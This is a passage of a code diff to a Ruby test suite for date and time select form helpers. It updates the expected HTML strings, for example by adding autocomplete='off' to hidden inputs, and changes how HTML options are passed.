-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected = +%(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_second(nil, include_blank: true)
   end
 
   def test_select_second_with_html_options
-    expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
+    expected = +%(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector", accesskey: "M")
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, { class: "selector", accesskey: "M" })
   end
 
   def test_select_second_with_default_prompt
-    expected = %(<select id="date_second" name="date[second]">\n)
+    expected = +%(<select id="date_second" name="date[second]">\n)
     expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -791,7 +850,7 @@ def test_select_second_with_default_prompt
   end
 
   def test_select_second_with_custom_prompt
-    expected = %(<select id="date_second" name="date[second]">\n)
+    expected = +%(<select id="date_second" name="date[second]">\n)
     expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -799,7 +858,7 @@ def test_select_second_with_custom_prompt
   end
 
   def test_select_second_with_generic_with_css_classes
-    expected = %(<select id="date_second" name="date[second]" class="second">\n)
+    expected = +%(<select id="date_second" name="date[second]" class="second">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -807,7 +866,7 @@ def test_select_second_with_generic_with_css_classes
   end
 
   def test_select_second_with_custom_with_css_classes
-    expected = %(<select id="date_second" name="date[second]" class="my-second">\n)
+    expected = +%(<select id="date_second" name="date[second]" class="my-second">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -815,7 +874,7 @@ def test_select_second_with_custom_with_css_classes
   end
 
   def test_select_date
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -832,7 +891,7 @@ def test_select_date
 
   def test_select_date_with_too_big_range_between_start_year_and_end_year
     assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), start_year: 2000, end_year: 20000, prefix: "date[first]", order: [:month, :day, :year]) }
-    assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), start_year: Date.today.year - 100.years, end_year: 2000, prefix: "date[first]", order: [:month, :day, :year]) }
+    assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), start_year: 100, end_year: 2000, prefix: "date[first]", order: [:month, :day, :year]) }
   end
 
   def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter
@@ -840,7 +899,7 @@ def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parame
   end
 
   def test_select_date_with_order
-    expected = %(<select id="date_first_month" name="date[first][month]">\n)
+    expected = +%(<select id="date_first_month" name="date[first][month]">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
@@ -857,15 +916,15 @@ def test_select_date_with_order
 
   def test_select_date_with_incomplete_order
     # Since the order is incomplete nothing will be shown
-    expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
-    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" />\n)
+    expected = +%(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" autocomplete="off" />\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" autocomplete="off" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" autocomplete="off" />\n)
 
     assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), start_year: 2003, end_year: 2005, prefix: "date[first]", order: [:day])
   end
 
   def test_select_date_with_disabled
-    expected =  %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -881,7 +940,7 @@ def test_select_date_with_disabled
   end
 
   def test_select_date_with_no_start_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 1) do |y|
       if y == Date.today.year
         expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
@@ -905,7 +964,7 @@ def test_select_date_with_no_start_year
   end
 
   def test_select_date_with_no_end_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     2003.upto(2008) do |y|
       if y == 2003
         expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
@@ -929,7 +988,7 @@ def test_select_date_with_no_end_year
   end
 
   def test_select_date_with_no_start_or_end_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 5) do |y|
       if y == Date.today.year
         expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
@@ -953,7 +1012,7 @@ def test_select_date_with_no_start_or_end_year
   end
 
   def test_select_date_with_zero_value
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -969,7 +1028,7 @@ def test_select_date_with_zero_value
   end
 
   def test_select_date_with_zero_value_and_no_start_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
 
@@ -985,7 +1044,7 @@ def test_select_date_with_zero_value_and_no_start_year
   end
 
   def test_select_date_with_zero_value_and_no_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     last_year = Time.now.year + 5
     2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
@@ -1002,7 +1061,7 @@ def test_select_date_with_zero_value_and_no_end_year
   end
 
   def test_select_date_with_zero_value_and_no_start_and_end_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
 
@@ -1018,7 +1077,7 @@ def test_select_date_with_zero_value_and_no_start_and_end_year
   end
 
   def test_select_date_with_nil_value_and_no_start_and_end_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
 
@@ -1034,7 +1093,7 @@ def test_select_date_with_nil_value_and_no_start_and_end_year
   end
 
   def test_select_date_with_html_options
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]" class="selector">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1046,11 +1105,11 @@ def test_select_date_with_html_options
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, prefix: "date[first]" }, class: "selector")
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, prefix: "date[first]" }, { class: "selector" })
   end
 
   def test_select_date_with_separator
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1070,7 +1129,7 @@ def test_select_date_with_separator
   end
 
   def test_select_date_with_separator_and_discard_day
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1080,33 +1139,33 @@ def test_select_date_with_separator_and_discard_day
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
     expected << "</select>\n"
 
-    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" autocomplete="off" />\n)
 
     assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), date_separator: " / ", discard_day: true, start_year: 2003, end_year: 2005, prefix: "date[first]")
   end
 
   def test_select_date_with_separator_discard_month_and_day
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
-    expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" />\n)
-    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+    expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" autocomplete="off" />\n)
+    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" autocomplete="off" />\n)
 
     assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), date_separator: " / ", discard_month: true, discard_day: true, start_year: 2003, end_year: 2005, prefix: "date[first]")
   end
 
   def test_select_date_with_hidden
-    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003"/>\n)
-    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+    expected =  +%(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" autocomplete="off"/>\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" autocomplete="off" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" autocomplete="off" />\n)
 
     assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), prefix: "date[first]", use_hidden: true)
     assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), date_separator: " / ", prefix: "date[first]", use_hidden: true)
   end
 
   def test_select_date_with_css_classes_option
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="year">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]" class="year">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1122,7 +1181,7 @@ def test_select_date_with_css_classes_option
   end
 
   def test_select_date_with_custom_with_css_classes
-    expected =  %(<select id="date_year" name="date[year]" class="my-year">\n)
+    expected =  +%(<select id="date_year" name="date[year]" class="my-year">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1138,7 +1197,7 @@ def test_select_date_with_custom_with_css_classes
   end
 
   def test_select_date_with_css_classes_option_and_html_class_option
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="datetime optional year">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]" class="datetime optional year">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1150,11 +1209,11 @@ def test_select_date_with_css_classes_option_and_html_class_option
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, prefix: "date[first]", with_css_classes: true }, class: "datetime optional")
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, prefix: "date[first]", with_css_classes: true }, { class: "datetime optional" })
   end
 
   def test_select_date_with_custom_with_css_classes_and_html_class_option
-    expected =  %(<select id="date_year" name="date[year]" class="date optional my-year">\n)
+    expected =  +%(<select id="date_year" name="date[year]" class="date optional my-year">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1166,11 +1225,11 @@ def test_select_date_with_custom_with_css_classes_and_html_class_option
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, with_css_classes: { year: "my-year", month: "my-month", day: "my-day" } }, class: "date optional")
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, with_css_classes: { year: "my-year", month: "my-month", day: "my-day" } }, { class: "date optional" })
   end
 
   def test_select_date_with_partial_with_css_classes_and_html_class_option
-    expected =  %(<select id="date_year" name="date[year]" class="date optional">\n)
+    expected =  +%(<select id="date_year" name="date[year]" class="date optional">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1182,11 +1241,11 @@ def test_select_date_with_partial_with_css_classes_and_html_class_option
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, with_css_classes: { month: "my-month custom-grid" } }, class: "date optional")
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005, with_css_classes: { month: "my-month custom-grid" } }, { class: "date optional" })
   end
 
   def test_select_date_with_html_class_option
-    expected =  %(<select id="date_year" name="date[year]" class="date optional custom-grid">\n)
+    expected =  +%(<select id="date_year" name="date[year]" class="date optional custom-grid">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1198,11 +1257,11 @@ def test_select_date_with_html_class_option
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005 }, class: "date optional custom-grid")
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005 }, { class: "date optional custom-grid" })
   end
 
   def test_select_datetime
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1230,7 +1289,7 @@ def test_select_datetime
   end
 
   def test_select_datetime_with_ampm
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
